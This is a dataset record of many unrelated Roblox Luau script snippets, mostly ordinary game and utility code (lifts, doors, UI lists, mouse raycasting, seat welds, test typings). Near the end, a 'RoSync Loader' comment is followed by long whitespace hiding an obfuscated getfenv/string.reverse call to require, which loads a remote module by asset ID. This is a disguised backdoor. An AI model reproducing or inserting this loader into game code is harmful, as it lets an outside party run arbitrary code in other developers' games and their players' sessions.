Roblox/luau_corpus huggingface dataset:
-- Ring4 descending
for l = 1,#lifts4 do
	if (lifts4[l].className == "Part") then
	lifts4[l].BodyPosition.position = Vector3.new((lifts4[l].BodyPosition.position.x),(lifts4[l].BodyPosition.position.y-6),(lifts4[l].BodyPosition.position.z))
	end
end
wait(0.1)
for p = 1,#parts4 do
	parts4[p].CanCollide = false
end
wait(0.1)
--[=[
	Constructs a new Maid which will clean up when the brio dies.
	Will error if the Brio is dead.

	:::info
	Calling this while the brio is already dead will throw a error.
	:::

	```lua
	local brio = Brio.new("a")
	local maid = brio:ToMaid()
	maid:GiveTask(function()
		print("Cleaning up!")
	end)
	brio:Kill() --> Cleaning up!
	```

	@return Maid
]=]
function Brio:ToMaid()
	assert(self._values ~= nil, "Brio is dead")

	local maid = Maid.new()

	maid:GiveTask(self:GetDiedSignal():Connect(function()
		maid:DoCleaning()
	end))

	return maid
end

function Brio:ToMaidAndValue()
	return self:ToMaid(), self:GetValue()
end
--HeroThPianist
local tool = script.Parent.Parent
local event = script.Parent:WaitForChild("PepperSprayEvent")

event.OnServerEvent:connect(function(plr,event,arg1,arg2,arg3)
	if event == "Button1Down" then
		tool.Spray.Transparency = 1
		tool.Spray.Script.Disabled = false
		tool.Nossle.Spray.Enabled = true
		tool.Nossle.Sound:Play()
	elseif event == "Button1Up" then
		tool.Spray.Transparency = 1
		tool.Spray.Script.Disabled = true
		tool.Nossle.Spray.Enabled = false
		tool.Nossle.Sound:Stop()
	end
end)
-- Library

local List = {}

function List.Create(list, max, fillDirection, padding, instanceFunc)
	max = max or math.huge
	padding = padding or UDim.new(0, 0)
	fillDirection = fillDirection or Enum.FillDirection.Vertical
	instanceFunc = instanceFunc or defaultButton

	local nList = #list
	local dList = 1 / nList
	
	local isVertical = (fillDirection == Enum.FillDirection.Vertical)
	
	local listFrame = Instance.new("Frame")
	listFrame.Name = "ListFrame"
	listFrame.BorderSizePixel = 0 
	
	local scrollFrame = Instance.new("ScrollingFrame")
	scrollFrame.Name = "ScrollFrame"
	scrollFrame.BackgroundTransparency = 1
	scrollFrame.BorderSizePixel = 0
	scrollFrame.Size = UDim2.new(1, 0, 1, 0)
	
	local canvasSize = nil	
	local elementSize = nil
	local extraPosition = nil
	
	local adj = (nList - 1) / nList
	local scale = padding.Scale * adj
	local offset = padding.Offset * adj
	
	if (isVertical) then
		canvasSize = UDim2.new(0, 0, nList / max, 0) 
		elementSize = UDim2.new(1, 0, dList - scale, -offset)
	else
		canvasSize = UDim2.new(nList / max , 0, 0, 0)
		elementSize = UDim2.new(dList - scale, -offset, 1, 0)
	end
	
	scrollFrame.CanvasSize = canvasSize
	
	local items = {}
	for i, option in ipairs(list) do
		local item = instanceFunc(i, option)
		item.LayoutOrder = i
		item.Size = elementSize
		item.Position = UDim2.new(0, 0, (i-1)*dList, 0)
		
		if (isVertical) then
			item.Position = item.Position + UDim2.new(0, 0, padding.Scale/nList*(i-1), padding.Offset/nList*(i-1))
		else
			item.Position = item.Position + UDim2.new(padding.Scale/nList*(i-1), padding.Offset/nList*(i-1), 0, 0)
		end
		
		items[i] = item
		item.Parent = scrollFrame
	end
	
	listFrame.BackgroundTransparency = items[1].BackgroundTransparency
	listFrame.BackgroundColor3 = items[1].BackgroundColor3
	scrollFrame.Parent = listFrame
	
	return listFrame	
end
--// Declarables
local L_15_ = false

local L_16_ = false
local L_17_ = true

local L_18_ = L_1_:WaitForChild('Resource')
local L_19_ = L_18_:WaitForChild('FX')
local L_20_ = L_18_:WaitForChild('Events')
local L_21_ = L_18_:WaitForChild('HUD')
local L_22_ = L_18_:WaitForChild('Modules')
local L_23_ = L_18_:WaitForChild('SettingsModule')
local L_24_ = require(L_23_:WaitForChild("ClientConfig"))
local L_25_ = L_18_:WaitForChild('Vars')

local L_26_
local L_27_
local L_28_
local L_29_
local L_30_
local L_31_
local L_32_
local L_33_
local L_34_
local L_35_
local L_36_
local L_37_
local L_38_
local L_39_
local L_40_
local L_41_

local L_42_

local L_43_
local L_44_
local L_45_
local L_46_
local L_47_
local L_48_
local L_49_

local L_50_ = L_24_.AimZoom

local L_51_ = L_24_.MouseSensitivity
local L_52_ = L_12_.MouseDeltaSensitivity

local L_53_ = game.ReplicatedStorage:FindFirstChild('SoundIso_Network') or nil
local L_54_
if L_53_ then
	L_54_ = L_53_:WaitForChild('EventConnection')
end
-- Setting these here so the functions above can self-reference just by name:
MockDataStoreUtils.logMethod = logMethod
MockDataStoreUtils.deepcopy = deepcopy
MockDataStoreUtils.scanValidity = scanValidity
MockDataStoreUtils.getStringPath = getStringPath
MockDataStoreUtils.importPairsFromTable = importPairsFromTable
MockDataStoreUtils.prepareDataStoresForExport = prepareDataStoresForExport
MockDataStoreUtils.preprocessKey = preprocessKey
MockDataStoreUtils.accurateWait = accurateWait
MockDataStoreUtils.simulateYield = simulateYield
MockDataStoreUtils.simulateErrorCheck = simulateErrorCheck

return MockDataStoreUtils
--[[ The Module ]]--
local BaseOcclusion = {}
BaseOcclusion.__index = BaseOcclusion
setmetatable(BaseOcclusion, { __call = function(_, ...) return BaseOcclusion.new(...) end})

function BaseOcclusion.new()
	local self = setmetatable({}, BaseOcclusion)
	return self
end
--[=[
	Takes in a data type, and returns it in array form.
	
	```lua
	local str = "Test"
	
	print(TableKit.From(str)) -- prints ("T", "e", "s", t")
	```

	@within TableKit
	@param value unknown
	@return { [number]: unknown }
]=]
function TableKit.From(value: any): { any }
	local valueType = typeof(value)
	if valueType == "string" then
		return string.split(value, "")
	elseif valueType == "Color3" then
		return { value.R, value.G, value.B }
	elseif valueType == "Vector2" then
		return { value.X, value.Y }
	elseif valueType == "Vector3" then
		return { value.X, value.Y, value.Z }
	elseif valueType == "NumberSequence" then
		return value.Keypoints
	elseif valueType == "Vector3int16" then
		return { value.X, value.Y, value.Z }
	elseif valueType == "Vector2int16" then
		return { value.X, value.Y }
	else
		return { value }
	end
end
--Change sound id to the id you want to play


debounce = false

script.Parent.Touched:connect(function(hit)
if not debounce then
debounce = true
if(hit.Parent:FindFirstChild("Humanoid")~=nil)then
local player = game.Players:GetPlayerFromCharacter(hit.Parent)
local sound = script.Parent.Sound:Clone()
sound.Parent = player.PlayerGui
sound:Play()
wait(2.5)--change to how long before the sound plays again after retouching it
end
debounce = false
end
end)
-- Obtiens l'objet Terrain
local terrain = game.Workspace.Terrain
--References to bindable events that act similarly to the original mouse 
Mouse.LeftClick = leftClick.Event 
Mouse.RightClick = rightClick.Event

function Mouse.GetUnitRay() : Ray
	--Get position of mouse on screen 
	local x : number, y : number = UserInputService:GetMouseLocation().X, UserInputService:GetMouseLocation().Y

	--Convert that to a unit ray pointing towards the camera CFrame 
	local ray : Ray = cam:ViewportPointToRay(x, y)	
	
	return ray 
end

function Mouse.Raycast(rayParams : RaycastParams?) : (RaycastResult?, Ray) 
	local unitRay : Ray = Mouse.GetUnitRay()
	
	--Raycast from the origin to max dist 
	local result : RaycastResult? = workspace:Raycast(unitRay.Origin, unitRay.Direction * MAX_DISTANCE, rayParams)
	
	--Give them the RaycastResult and Unit Ray, if they need it  
	return result, unitRay
end

function Mouse.GetPosition(rayParams : RaycastParams?) : Vector3
    --Get the current Mouse Position, either as a raycastResult or Ray 
    local raycast : RaycastResult?, unitRay : Ray = Mouse.Raycast(rayParams)

    --Return the appropriate value 
	if raycast then 
		--The raycast was successful, so we can just get the position 
        return raycast.Position 
	elseif unitRay then 
		--Raycast was not successful, we need to manually calculate the intended position 
        return unitRay.Origin + unitRay.Direction * MAX_DISTANCE
    end
end

function Mouse.GetTarget(rayParams : RaycastParams?) : Instance?
	--Call the raycast, forwarding the rayParams object 
	local raycast : RaycastResult, unitRay : Ray = Mouse.Raycast(rayParams)
	
	--Give them target if it exists 
    return raycast and raycast.Instance
end

function Mouse._OnInput(obj : InputObject)
    if obj.UserInputType == Enum.UserInputType.MouseButton1 then 
        leftClick:Fire(obj.UserInputState)
    elseif obj.UserInputType == Enum.UserInputType.MouseButton2 then 
        rightClick:Fire(obj.UserInputState)
    end  
end

UserInputService.InputBegan:Connect(Mouse._OnInput)
UserInputService.InputEnded:Connect(Mouse._OnInput)

return Mouse
-- @specs https://material.io/guidelines/motion/duration-easing.html#duration-easing-natural-easing-curves
local Sharp = Bezier(0.4, 0, 0.6, 1)
local Standard = Bezier(0.4, 0, 0.2, 1) -- used for moving.
local Acceleration = Bezier(0.4, 0, 1, 1) -- used for exiting.
local Deceleration = Bezier(0, 0, 0.2, 1) -- used for entering.
----[[ Color Settings ]]
module.BackGroundColor = Color3.fromRGB(72, 0, 32)
module.DefaultMessageColor = Color3.new(1, 1, 1)
module.DefaultNameColor = Color3.new(1, 1, 1)
module.ChatBarBackGroundColor = Color3.fromRGB(72, 0, 32)
module.ChatBarBoxColor = Color3.new(1, 1, 1)
module.ChatBarTextColor = Color3.fromRGB(97, 19, 37)
module.ChannelsTabUnselectedColor = Color3.new(0, 0, 0)
module.ChannelsTabSelectedColor = Color3.new(30/255, 30/255, 30/255)
module.DefaultChannelNameColor = Color3.fromRGB(35, 76, 142)
module.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102)
module.ErrorMessageTextColor = Color3.fromRGB(245, 50, 50)
-- Load and configure the animations
local attackIdleAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackIdleAnimation)
attackIdleAnimation.Looped = true
attackIdleAnimation.Priority = Enum.AnimationPriority.Action
maid.attackIdleAnimation = attackIdleAnimation

local attackAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackAnimation)
attackAnimation.Looped = false
attackAnimation.Priority = Enum.AnimationPriority.Action
maid.attackAnimation = attackAnimation

local reloadAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.ReloadAnimation)
reloadAnimation.Looped = false
reloadAnimation.Priority = Enum.AnimationPriority.Action
maid.reloadAnimation = reloadAnimation
--[=[
	Returns a function that can be used to load modules relative
	to the script specified.

	```lua
	local require = require(script.Parent.loader).load(script)

	local maid = require("Maid")
	```

	@function load
	@param script Script -- The script to load dependencies for.
	@return (moduleReference: ModuleReference) -> any
	@within Loader
]=]
local function handleLoad(moduleScript)
	assert(typeof(moduleScript) == "Instance", "Bad moduleScript")

	return loader:GetLoader(moduleScript)
end

return setmetatable({
	load = handleLoad;
	bootstrapGame = bootstrapGame;
	bootstrapPlugin = bootstrapPlugin;
}, metatable)
--------------------[ KEYBOARD FUNCTIONS ]--------------------------------------------

function KeyPress(key)
	if key then
		if Active then
			key = string.lower(key)
			if key == "c" then
				if Stance == 2 then
					print("Crouch")
					Crouch()
				end
			else
				if key == "x" then
					if Stance == 1 then
						print("Stand")
						Stand()
					end
				end
			end
		end
	end
end


script.Parent.Equipped:connect(function()
	Active = true
	mouse.KeyDown:connect(KeyPress)
end)

script.Parent.Unequipped:connect(function()
	Active = false
	Stand()
end)
--				print("Malicious script "..i.Name.." detected in "..getAncestry(i).." ("..i.className..")") --"Infected" scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
-- Instances have a "Name" field.  Sort 
-- by that name,
function CommonUtil.SortByName(items)	
	function compareInstanceNames(i1, i2) 
		return (i1.Name < i2.Name)
	end
	table.sort(items, compareInstanceNames)
	return items
end
	
return CommonUtil
--[=[
	Returns a list of all of the values that a table has.

	@param source table -- Table source to extract values from
	@return table -- A list with all the values the table has
]=]
function Table.values(source)
	local new = {}
	for _, val in pairs(source) do
		table.insert(new, val)
	end
	return new
end
--PlayerClick
ClickDetector.MouseClick:Connect(function()
	if Ready == true then
		if Open == false then
			Ready = false
			Open = true
			Handle.TargetAngle = 90
			OpenSound:Play()
			OpenTween:Play()
			wait(.5)
			Ready = true
		elseif Open == true then
			Ready = false
			Open = false
			Handle.TargetAngle = 0
			CloseSound:Play()
			CloseTween:Play()
			wait(.5)
			Ready = true
		end
	end
end)
-- Punch action
function Actions.Punch(player, actionLength)
	local hit = getHit(player)
	
	if hit then
		handleHit(hit, player)	
	end
	--end
	
	--function self._action()
	--	self._destroy()
	--end
		
	-- Invoke action
	--self._action()
end
--------|    Reference    |--------
local isServer = _L.RunService:IsServer()
local events = {}
local funcs = {}
-- Create the level loader
local function loadLevel(level)
	-- Clear the current level
	for _, enemy in pairs(gameState.enemies) do
		enemy:Destroy()
	end

	-- Create the new level
	local levelData = ReplicatedStorage.Levels[level]
	for _, enemyData in pairs(levelData.Enemies) do
		local enemy = game.ServerStorage.Enemies[enemyData.Name]:Clone()
		enemy.Parent = workspace
		gameState.enemies[#gameState.enemies + 1] = enemy
	end

	-- Set the new level
	gameState.level = level
end
--!strict
local Humanoid:Humanoid = script.Parent:WaitForChild("Humanoid")
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false)
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming, false)
--Don't modify this script unless you really know what you're doing.

local WaitFor = (function(parent, child_name)
	local found = parent:FindFirstChild(child_name)
	while found == nil do
		parent.ChildAdded:wait()
		found = parent:FindFirstChild(child_name)
		if found then break end
	end
	return found
end)

local last = { neckC1 = nil, rshoC0 = nil, lshoC0 = nil, rhipC0 = nil, lhipC0 = nil }

local ApplyModifications = (function(weld, char)
	local torso = WaitFor(char, "Torso")
	local neck = WaitFor(torso, "Neck")
	local rsho = WaitFor(torso, "Right Shoulder")
	local lsho = WaitFor(torso, "Left Shoulder")
	local rhip = WaitFor(torso, "Right Hip")
	local lhip = WaitFor(torso, "Left Hip")

	local config = script.Parent.Configuration
	local head_ang = config["Head Angle"].Value
	local legs_ang = config["Legs Angle"].Value
	local arms_ang = config["Arms Angle"].Value
	local sit_ang  = config["Sitting Angle"].Value
	local sit_pos  = config["Sitting Position"].Value

	--First adjust sitting position and angle
	--Add 90 to the angle because that's what most people will be expecting.
	--weld.C1 = weld.C1 * CFrame.fromEulerAnglesXYZ(math.rad((sit_ang) + 90), 0, 0)
	
	--weld.C0 = CFrame.new(sit_pos)
	weld.C0 = weld.C0 * CFrame.new(0, 1, 0)

	last.neckC1 = neck.C1
	last.rshoC0 = rsho.C0
	last.lshoC0 = lsho.C0
	last.rhipC0 = rhip.C0
	last.lhipC0 = lhip.C0

	--Now adjust the neck angle.
	neck.C1 = neck.C1 * CFrame.fromEulerAnglesXYZ(math.rad(head_ang), 0, 0)
	

	--Now adjust the arms angle.
	rsho.C0 = rsho.C0 * CFrame.fromEulerAnglesXYZ(0, 0, 0)
	lsho.C0 = lsho.C0 * CFrame.fromEulerAnglesXYZ(0,math.rad(arms_ang), 0.3)
	lsho.C0 = lsho.C0 * CFrame.new(-1,0, -0.5)

	--Now the legs
	rhip.C0 = rhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(legs_ang))
	lhip.C0 = lhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(-legs_ang))
end)

local RevertModifications = (function(weld, char)
	--Any modifications done in ApplyModifications have to be reverted here if they
	--change any welds - otherwise people will wonder why their head is pointing the wrong way.

	local torso = WaitFor(char, "Torso")
	local neck = WaitFor(torso, "Neck")
	local rsho = WaitFor(torso, "Right Shoulder")
	local lsho = WaitFor(torso, "Left Shoulder")
	local rhip = WaitFor(torso, "Right Hip")
	local lhip = WaitFor(torso, "Left Hip")


	--Now adjust the neck angle.
	neck.C1 = last.neckC1 or CFrame.new()

	rsho.C0 = last.rshoC0 or CFrame.new()
	lsho.C0 = last.lshoC0 or CFrame.new()

	rhip.C0 = last.rhipC0 or CFrame.new()
	lhip.C0 = last.lhipC0 or CFrame.new()

	weld:Destroy()
end)

script.Parent.ChildAdded:connect(function(c)
	if c:IsA("Weld") then
		local character = nil
		if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
			character = c.Part1.Parent
		else return end
		ApplyModifications(c, character)
	end
end)

script.Parent.ChildRemoved:connect(function(c)
	if c:IsA("Weld") then
		local character = nil
		if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
			character = c.Part1.Parent
		else return end
		RevertModifications(c, character)
	end
end)
-- ROBLOX deviation: omitted type imports from types file and defined MatcherState as any for now
type MatcherHintOptions = JestMatcherUtils.MatcherHintOptions
type MatcherState = any
type SyncExpectationResult = (any, any, any) -> {
	pass: boolean,
	message: () -> string,
}

local jasmineUtils = require(CurrentModule.jasmineUtils)
local equals = jasmineUtils.equals

local utils = require(CurrentModule.utils)
local iterableEquality = utils.iterableEquality

local isExpand, printExpectedArgs, printReceivedArgs, printCommon, isEqualValue, isEqualCall, isEqualReturn, countReturns, printNumberOfReturns, getRightAlignedPrinter, printReceivedCallsNegative, printExpectedReceivedCallsPositive, printDiffCall, isLineDiffableCall, isLineDiffableArg, printResult, printReceivedResults, isMock, isSpy, ensureMockOrSpy, ensureMock
-- DO NOT EDIT UNLESS YOU KNOW WHAT YOU ARE DOING!!! --




 function onClicked()

 	script.Parent.Parent.D.D1.Transparency = 0
	script.Parent.Parent.D.D2.Transparency = 0
	script.Parent.Parent.D.D3.Transparency = 0.7
	script.Parent.Parent.D.D4.Transparency = 0.7
	script.Parent.Parent.D.D1.CanCollide = true
	script.Parent.Parent.D.D2.CanCollide = true
	script.Parent.Parent.D.D3.CanCollide = true
	script.Parent.Parent.D.D4.CanCollide = true
	script.Parent.Parent.E.D1.Transparency = 1
	script.Parent.Parent.E.D2.Transparency = 1
	script.Parent.Parent.E.D3.Transparency = 1
	script.Parent.Parent.E.D4.Transparency = 1
	script.Parent.Parent.E.D1.CanCollide = false
	script.Parent.Parent.E.D2.CanCollide = false
	script.Parent.Parent.E.D3.CanCollide = false
	script.Parent.Parent.E.D4.CanCollide = false
	wait(0.1)
	script.Parent.Parent.C.D1.Transparency = 0
	script.Parent.Parent.C.D2.Transparency = 0
	script.Parent.Parent.C.D3.Transparency = 0.7
	script.Parent.Parent.C.D4.Transparency = 0.7
	script.Parent.Parent.C.D1.CanCollide = true
	script.Parent.Parent.C.D2.CanCollide = true
	script.Parent.Parent.C.D3.CanCollide = true
	script.Parent.Parent.C.D4.CanCollide = true
	script.Parent.Parent.D.D1.Transparency = 1
	script.Parent.Parent.D.D2.Transparency = 1
	script.Parent.Parent.D.D3.Transparency = 1
	script.Parent.Parent.D.D4.Transparency = 1
	script.Parent.Parent.D.D1.CanCollide = false
	script.Parent.Parent.D.D2.CanCollide = false
	script.Parent.Parent.D.D3.CanCollide = false
	script.Parent.Parent.D.D4.CanCollide = false
	wait(0.1)
	script.Parent.Parent.B.D1.Transparency = 0
	script.Parent.Parent.B.D2.Transparency = 0
	script.Parent.Parent.B.D3.Transparency = 0.7
	script.Parent.Parent.B.D4.Transparency = 0.7
	script.Parent.Parent.B.D1.CanCollide = true
	script.Parent.Parent.B.D2.CanCollide = true
	script.Parent.Parent.B.D3.CanCollide = true
	script.Parent.Parent.B.D4.CanCollide = true
	script.Parent.Parent.C.D1.Transparency = 1
	script.Parent.Parent.C.D2.Transparency = 1
	script.Parent.Parent.C.D3.Transparency = 1
	script.Parent.Parent.C.D4.Transparency = 1
	script.Parent.Parent.C.D1.CanCollide = false
	script.Parent.Parent.C.D2.CanCollide = false
	script.Parent.Parent.C.D3.CanCollide = false
	script.Parent.Parent.C.D4.CanCollide = false
	wait(0.1)
	script.Parent.Parent.A.D1.Transparency = 0
	script.Parent.Parent.A.D2.Transparency = 0
	script.Parent.Parent.A.D3.Transparency = 0.7
	script.Parent.Parent.A.D4.Transparency = 0.7
	script.Parent.Parent.A.D1.CanCollide = true
	script.Parent.Parent.A.D2.CanCollide = true
	script.Parent.Parent.A.D3.CanCollide = true
	script.Parent.Parent.A.D4.CanCollide = true
	script.Parent.Parent.B.D1.Transparency = 1
	script.Parent.Parent.B.D2.Transparency = 1
	script.Parent.Parent.B.D3.Transparency = 1
	script.Parent.Parent.B.D4.Transparency = 1
	script.Parent.Parent.B.D1.CanCollide = false
	script.Parent.Parent.B.D2.CanCollide = false
	script.Parent.Parent.B.D3.CanCollide = false
	script.Parent.Parent.B.D4.CanCollide = false
	wait(0.1)

	
	

end
 
 script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[ Last synced 11/13/2020 10:33 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
-- Decompiled with the Synapse X Luau decompiler.

game:GetService("TweenService"):Create(script.Parent, TweenInfo.new(5, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, -1, false, 0), {
	Rotation = 360
}):Play();